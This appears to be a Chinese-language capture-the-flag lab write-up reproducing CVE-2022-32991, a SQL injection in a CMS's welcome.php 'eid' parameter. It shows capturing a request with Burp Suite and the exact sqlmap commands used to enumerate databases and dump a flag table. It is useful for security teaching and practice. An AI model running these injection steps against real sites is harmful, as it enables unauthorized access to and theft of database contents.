前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2022-32991靶场复现

CVE-2022-32991靶场复现

作者头像
用户8909609
发布2023-10-28 09:53:16
2950
发布2023-10-28 09:53:16
举报
文章被收录于专栏:BM CTF

靶场环境:

image.png
image.png

题目提示了该CMS的welcome.php中存在SQL注入攻击。

CVE官方给出的提示:

image.png
image.png

welcome.php页面存在SQL注入,并且这个参数是eid

打开靶场环境:

image.png
image.png

页面是一个登陆注册的界面

用户注册:

image.png
image.png

1 01@0.com 123456 123456 点击Register(注册) 注册成功

用户登录:

image.png
image.png

01@0.com 123456 点击Login(登录)

登陆成功:

image.png
image.png

箭头所指方向存在welcome.php文件但是参数不是eid,而是p 下方有Start开始按钮,点点试试,看看有没有新的发现

image.png
image.png
image.png
image.png

存在了eid参数 由于没有注入窗口,所以想到了,火狐+burpsuite+sqlmap组合拷打

复制带有eid参数的页面网址,用火狐浏览器打开,进行burpsuite抓包

image.png
image.png
image.png
image.png

创建一个txt文件,将数据包复制到这个txt文件里面

image.png
image.png
image.png
image.png

注入前的准备工作,了解sqlmap的部分参数

  1. -r 加载文件中的HTTP请求(本地保存的请求包txt文件)
  2. -D 选择使用哪个数据库
  3. -T 选择使用哪个表
  4. -C 选择使用哪个列
  5. –dbs 列出所有的数据库
  6. –batch 自动选择yes
  7. –tables 列出当前的表
  8. –columns 列出当前的列
  9. –dump 获取字段中的数据

启动sqlmap加载flag.txt文件HTTP请求并列出其所有数据库 进入到桌面目录下(注意这是我的flag.txt文件保存的位置) 执行如下命令: sqlmap -r flag.txt --dbs --batch 回显如下:

image.png
image.png

可以看到存在数据库ctf(注意执行命令后,加载可能会慢点,不必慌张。) 接下来列出数据库ctf里面的所有数据表 执行如下命令: sqlmap -r flag.txt -D ctf --tables --batch 回显如下:

image.png
image.png
image.png
image.png

可以看到数据库ctf里面存在数据表flag,猜测数据表flag里面存在flag(严谨一点) 接着爆数据表flag里面的字段 执行如下命令: sqlmap -r flag.txt -D ctf -T flag --columns --batch 回显如下:

image.png
image.png

数据表flag里面存在字段flag 最后爆flag字段里面的内容 执行如下命令: sqlmap -r flag.txt -D ctf -T flag -C flag --dump --batch 回显如下:

image.png
image.png

得出flag: flag{cdadbe80-6b13-4ce7-bd86-3ff050dd36d3}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档